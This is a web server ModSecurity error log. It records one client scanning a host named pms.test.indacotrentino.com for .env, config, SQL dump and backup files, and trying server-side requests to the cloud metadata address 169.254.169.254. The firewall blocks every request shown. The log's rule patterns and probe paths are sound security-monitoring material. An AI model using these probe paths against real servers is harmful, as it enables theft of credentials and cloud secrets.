[Sun Jun 29 20:16:24.393236 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGGC-A5w_kdDrMZHVfsRHgAAAAM&quot;]
[Sun Jun 29 20:16:24.393477 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGGC-A5w_kdDrMZHVfsRHgAAAAM&quot;]
[Sun Jun 29 20:16:24.393652 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGGC-A5w_kdDrMZHVfsRHgAAAAM&quot;]
[Sun Jun 29 20:16:25.409116 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /api/config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMAAAAAM&quot;]
[Sun Jun 29 20:16:25.409384 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMAAAAAM&quot;]
[Sun Jun 29 20:16:25.409578 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/config/config.yml&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMAAAAAM&quot;]
[Sun Jun 29 20:16:25.431730 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMQAAAAM&quot;]
[Sun Jun 29 20:16:25.432076 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMQAAAAM&quot;]
[Sun Jun 29 20:16:25.432271 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db.sql&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMQAAAAM&quot;]
[Sun Jun 29 20:16:25.454666 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db_backup.sql&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMgAAAAM&quot;]
[Sun Jun 29 20:16:25.455029 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db_backup.sql&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMgAAAAM&quot;]
[Sun Jun 29 20:16:25.455222 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/db_backup.sql&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRMgAAAAM&quot;]
[Sun Jun 29 20:16:25.553565 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRNgAAAAM&quot;]
[Sun Jun 29 20:16:25.553994 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRNgAAAAM&quot;]
[Sun Jun 29 20:16:25.554192 2025] [:error] [pid 2967921] [client 185.177.72.107:44990] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/debug&quot;] [unique_id &quot;aGGC-Q5w_kdDrMZHVfsRNgAAAAM&quot;]
[Sun Jun 29 20:16:36.082634 2025] [:error] [pid 2967918] [client 185.177.72.107:49330] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;aGGDBDOxdet7QOoqVXWWCAAAAAA&quot;]
[Sun Jun 29 20:16:36.083061 2025] [:error] [pid 2967918] [client 185.177.72.107:49330] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;aGGDBDOxdet7QOoqVXWWCAAAAAA&quot;]
[Sun Jun 29 20:16:36.083255 2025] [:error] [pid 2967918] [client 185.177.72.107:49330] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal-aws&quot;] [unique_id &quot;aGGDBDOxdet7QOoqVXWWCAAAAAA&quot;]
[Sun Jun 29 20:16:50.935252 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aGGDEq1XEc-sC3fb0P3MjAAAAAI&quot;]
[Sun Jun 29 20:16:50.935518 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aGGDEq1XEc-sC3fb0P3MjAAAAAI&quot;]
[Sun Jun 29 20:16:50.935709 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/.env&quot;] [unique_id &quot;aGGDEq1XEc-sC3fb0P3MjAAAAAI&quot;]
[Sun Jun 29 20:16:51.002673 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aGGDE61XEc-sC3fb0P3MjgAAAAI&quot;]
[Sun Jun 29 20:16:51.002942 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aGGDE61XEc-sC3fb0P3MjgAAAAI&quot;]
[Sun Jun 29 20:16:51.003142 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/shared/config/.env&quot;] [unique_id &quot;aGGDE61XEc-sC3fb0P3MjgAAAAI&quot;]
[Sun Jun 29 20:16:56.169128 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MngAAAAI&quot;]
[Sun Jun 29 20:16:56.169752 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MngAAAAI&quot;]
[Sun Jun 29 20:16:56.170015 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MngAAAAI&quot;]
[Sun Jun 29 20:16:56.747409 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.js.bak&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MpQAAAAI&quot;]
[Sun Jun 29 20:16:56.747732 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.js.bak&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MpQAAAAI&quot;]
[Sun Jun 29 20:16:56.747912 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.js.bak&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MpQAAAAI&quot;]
[Sun Jun 29 20:16:56.846785 2025] [:error] [pid 2967920] [client 185.177.72.107:24254] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aGGDGK1XEc-sC3fb0P3MqAAAAAI&quot;]
